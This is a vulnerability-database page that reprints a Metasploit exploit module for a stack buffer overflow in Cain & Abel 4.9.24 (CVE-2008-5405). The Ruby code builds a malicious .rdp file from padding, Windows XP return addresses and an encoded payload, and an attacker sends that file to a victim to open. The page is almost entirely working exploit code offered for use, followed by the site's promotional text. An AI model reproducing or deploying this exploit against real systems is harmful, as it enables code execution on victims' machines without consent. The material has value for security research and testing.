Lucene search
K

Cain & Abel <= 4.9.24 - RDP Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Cain & Abel v4.9.24 RDP Buffer Overflow, stack-based buffer overflow, victim opens crafted RDP fil

Code

                                                ##
# $Id: cain_abel_4918_rdp.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Cain & Abel &#60;= v4.9.24 RDP Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
				and below. An attacker must send the file to victim, and the victim must open
				the specially crafted RDP file under Tools -&#62; Remote Desktop Password Decoder.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;Trancek &#60;trancek[at]yashira.org&#62;&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 11127 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2008-5405&#39; ],
					[ &#39;OSVDB&#39;, &#39;50342&#39; ],
					[ &#39;URL&#39;, &#39;http://www.milw0rm.com/exploits/7329&#39; ],
					[ &#39;BID&#39;, &#39;32543&#39; ],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 800,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a\x0d\x3c\x22\x3e\x3d&#34;,
					&#39;EncoderType&#39;   =&#62; Msf::Encoder::Type::AlphanumMixed,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39; =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# Tested ok patrickw 20090503
					[ &#39;Windows XP SP2 English&#39;, 	{ &#39;Ret&#39; =&#62; 0x7c82385d } ], #call esp
					[ &#39;Windows XP SP0/1 English&#39;, 	{ &#39;Ret&#39; =&#62; 0x71ab7bfb } ], #jmp esp
					[ &#39;Windows XP SP2 Spanish&#39;,	{ &#39;Ret&#39; =&#62; 0x7c951eed } ], #jmp esp
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 30 2008&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ true, &#39;The file name.&#39;,  &#39;exploit_cain.rdp&#39;]),
			], self.class)
	end

	def exploit

		filerdp = rand_text_alpha_upper(8206)
		filerdp &#60;&#60; [target.ret].pack(&#39;V&#39;) + [target.ret].pack(&#39;V&#39;)
		filerdp &#60;&#60; payload.encoded
		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)

		file_create(filerdp)

	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
19